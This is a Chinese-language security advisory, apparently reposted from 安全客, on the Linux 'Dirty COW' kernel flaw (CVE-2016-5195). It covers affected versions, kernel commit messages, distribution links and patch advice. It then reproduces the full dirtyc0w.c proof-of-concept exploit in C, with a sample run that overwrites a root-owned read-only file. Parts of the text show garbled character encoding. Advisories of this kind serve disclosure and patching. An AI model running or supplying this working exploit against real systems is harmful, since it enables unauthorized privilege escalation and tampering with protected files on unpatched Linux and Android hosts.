本文原創(chuàng)作者:安全客
來源:安全客
漏洞描述
漏洞編號(hào):CVE-2016-5195
漏洞名稱:臟牛(Dirty COW)
漏洞危害:低權(quán)限用戶利用該漏洞技術(shù)可以在全版本Linux系統(tǒng)上實(shí)現(xiàn)本地提權(quán)
影響范圍:Linux內(nèi)核>=2.6.22(2007年發(fā)行)開始就受影響了,直到2016年10月18日才修復(fù)。
360 Vulpecker Team:Android 7.0最新的10月補(bǔ)丁安全級(jí)別的系統(tǒng)上測(cè)試過漏洞POC,確認(rèn)Android受影響
為什么這個(gè)漏洞叫臟牛(Dirty COW)漏洞?
Linux內(nèi)核的內(nèi)存子系統(tǒng)在處理寫時(shí)拷貝(Copy-on-Write)時(shí)存在條件競(jìng)爭(zhēng)漏洞,導(dǎo)致可以破壞私有只讀內(nèi)存映射。一個(gè)低權(quán)限的本地用戶能夠利用此漏洞獲取其他只讀內(nèi)存映射的寫權(quán)限,有可能進(jìn)一步導(dǎo)致提權(quán)漏洞。
漏洞相關(guān)細(xì)節(jié)
漏洞細(xì)節(jié):https://github.com/dirtycow/dirtycow.github.io/wiki/VulnerabilityDetails
根據(jù)RedHat公司的報(bào)告稱:目前已經(jīng)在野外發(fā)現(xiàn)針對(duì)這個(gè)漏洞的利用技術(shù)。但是到目前為止,我們沒有更進(jìn)一步的消息。
https://access.redhat.com/security/vulnerabilities/2706661
Commit?messages:
commit 4ceb5db9757aaeadcf8fbbf97d76bd42aa4df0d6
Author: Linus Torvalds <torvalds@g5.osdl.org>
Date: ? Mon Aug 1 11:14:49 2005 -0700
修復(fù)get_user_pages()寫訪問競(jìng)爭(zhēng)條件
如果一個(gè)更新來自其他線程結(jié)束修改頁(yè)表,handle_mm_fault()將可能結(jié)束需要我們重新操作。handle_mm_fault()沒有真正的防護(hù)一直能夠破壞COW。這樣看起來是不錯(cuò)的,但是get_user_pages()結(jié)束后會(huì)重新讀,使get_user_pages()一直重寫的話,需要dirty bit 設(shè)置,最簡(jiǎn)單的解決競(jìng)爭(zhēng)條件的辦法是,如果COW的break因?yàn)槟承┰蚴?,我們能夠繼續(xù)循環(huán)繼續(xù)嘗試。
commit 19be0eaffa3ac7d8eb6784ad9bdbc7d67ed8e619
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date: ? Thu Oct 13 20:07:36 2016 GMT
這是一個(gè)年代久遠(yuǎn)的BUG了,我在7年前已經(jīng)曾經(jīng)嘗試修復(fù)過一次了(commit 4ceb5db9757a),但是由于一些問題(commit f33ea7f404e5)又回滾了。這次,我們對(duì)pte_dirty()位做了檢測(cè)。
Linux各發(fā)行版本對(duì)于該漏洞相關(guān)信息
Red Hat:https://access.redhat.com/security/cve/cve-2016-5195
Debian :https://security-tracker.debian.org/tracker/CVE-2016-5195
Ubuntu :http://people.canonical.com/~ubuntu-security/cve/2016/CVE-2016-5195.html
受影響的范圍
這個(gè)漏洞自從內(nèi)核2.6.22(2007年發(fā)行)開始就受影響了,直到2016年10月18日才修復(fù)。
如何修復(fù)該漏洞?
Linux團(tuán)隊(duì)正在積極的修復(fù)此漏洞,可以通過系統(tǒng)更新到最新發(fā)行版修復(fù)此漏洞。軟件開發(fā)人員也可以通過
重新編譯Linux修復(fù)此漏洞。
如何發(fā)現(xiàn)有人利用該漏洞攻擊我?
利用這個(gè)Bug不會(huì)在日志里留下異常信息。但是部分安全社區(qū)已經(jīng)部署蜜罐,如果有攻擊者利用此漏洞,將會(huì)觸發(fā)告警。
誰(shuí)發(fā)現(xiàn)的這個(gè)漏洞?
Phil Oester (https://access.redhat.com/security/cve/CVE-2016-5195)
對(duì)于該漏洞作者甚至申請(qǐng)了獨(dú)立的:網(wǎng)站、twitter帳號(hào)、github帳號(hào)、并找專人設(shè)計(jì)了Logo
作者對(duì)此的解釋是:我們對(duì)建立有品牌的漏洞充滿了樂趣,但是也許在這個(gè)時(shí)間點(diǎn),這不是一個(gè)好主意。但是為了表明我們的立場(chǎng),我才創(chuàng)建了網(wǎng)站,在線商店,twiiter帳號(hào),以及請(qǐng)專業(yè)設(shè)計(jì)師為這個(gè)漏洞設(shè)計(jì)了LOGO。
2016.10.21 13:37更新漏洞影響范圍:
360 Vulpecker Team:Android 7.0最新的10月補(bǔ)丁安全級(jí)別的系統(tǒng)上測(cè)試過漏洞POC,確認(rèn)Android受影響
2016.10.21 9:10更新POC:
POC地址:
https://github.com/dirtycow/dirtycow.github.io/blob/master/dirtyc0w.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
|
/* #######################?dirtyc0w.c?####################### $?sudo?-s #?echo?this?is?not?a?test?>?foo #?chmod?0404?foo $?ls?-lah?foo -r-----r--?1?root?root?19?Oct?20?15:23?foo $?cat?foo this?is?not?a?test $?gcc?-lpthread?dirtyc0w.c?-o?dirtyc0w $?./dirtyc0w?foo?m00000000000000000 mmap?56123000 madvise?0 procselfmem?1800000000 $?cat?foo m00000000000000000 #######################?dirtyc0w.c?####################### */ #include?<stdio.h> #include?<sys/mman.h> #include?<fcntl.h> #include?<pthread.h> #include?<string.h> ? void?*map; int?f; struct?stat?st; char?*name; ? void?*madviseThread(void?*arg) { ?? char?*str; ?? str=(char*)arg; ?? int?i,c=0; ?? for(i=0;i<100000000;i++) ?? { /* You?have?to?race?madvise(MADV_DONTNEED)?::?https://access.redhat.com/security/vulnerabilities/2706661 >?This?is?achieved?by?racing?the?madvise(MADV_DONTNEED)?system?call >?while?having?the?page?of?the?executable?mmapped?in?memory. */ ???? c+=madvise(map,100,MADV_DONTNEED); ?? } ?? printf("madvise?%d\n\n",c); } ? void?*procselfmemThread(void?*arg) { ?? char?*str; ?? str=(char*)arg; /* You?have?to?write?to?/proc/self/mem?::?https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16 >??The?in?the?wild?exploit?we?are?aware?of?doesn't?work?on?Red?Hat >??Enterprise?Linux?5?and?6?out?of?the?box?because?on?one?side?of >??the?race?it?writes?to?/proc/self/mem,?but?/proc/self/mem?is?not >??writable?on?Red?Hat?Enterprise?Linux?5?and?6. */ ?? int?f=open("/proc/self/mem",O_RDWR); ?? int?i,c=0; ?? for(i=0;i<100000000;i++)?{ /* You?have?to?reset?the?file?pointer?to?the?memory?position. */ ???? lseek(f,map,SEEK_SET); ???? c+=write(f,str,strlen(str)); ?? } ?? printf("procselfmem?%d\n\n",?c); } ? ? int?main(int?argc,char?*argv[]) { /* You?have?to?pass?two?arguments.?File?and?Contents. */ ?? if?(argc<3)return?1; ?? pthread_t?pth1,pth2; /* You?have?to?open?the?file?in?read?only?mode. */ ?? f=open(argv[1],O_RDONLY); ?? fstat(f,&st); ?? name=argv[1]; /* You?have?to?use?MAP_PRIVATE?for?copy-on-write?mapping. >?Create?a?private?copy-on-write?mapping.??Updates?to?the >?mapping?are?not?visible?to?other?processes?mapping?the?same >?file,?and?are?not?carried?through?to?the?underlying?file.??It >?is?unspecified?whether?changes?made?to?the?file?after?the >?mmap()?call?are?visible?in?the?mapped?region. */ /* You?have?to?open?with?PROT_READ. */ ?? map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0); ?? printf("mmap?%x\n\n",map); /* You?have?to?do?it?on?two?threads. */ ?? pthread_create(&pth1,NULL,madviseThread,argv[1]); ?? pthread_create(&pth2,NULL,procselfmemThread,argv[2]); /* You?have?to?wait?for?the?threads?to?finish. */ ?? pthread_join(pth1,NULL); ?? pthread_join(pth2,NULL); ?? return?0; } |
原文地址:http://bobao.#/learning/detail/3123.html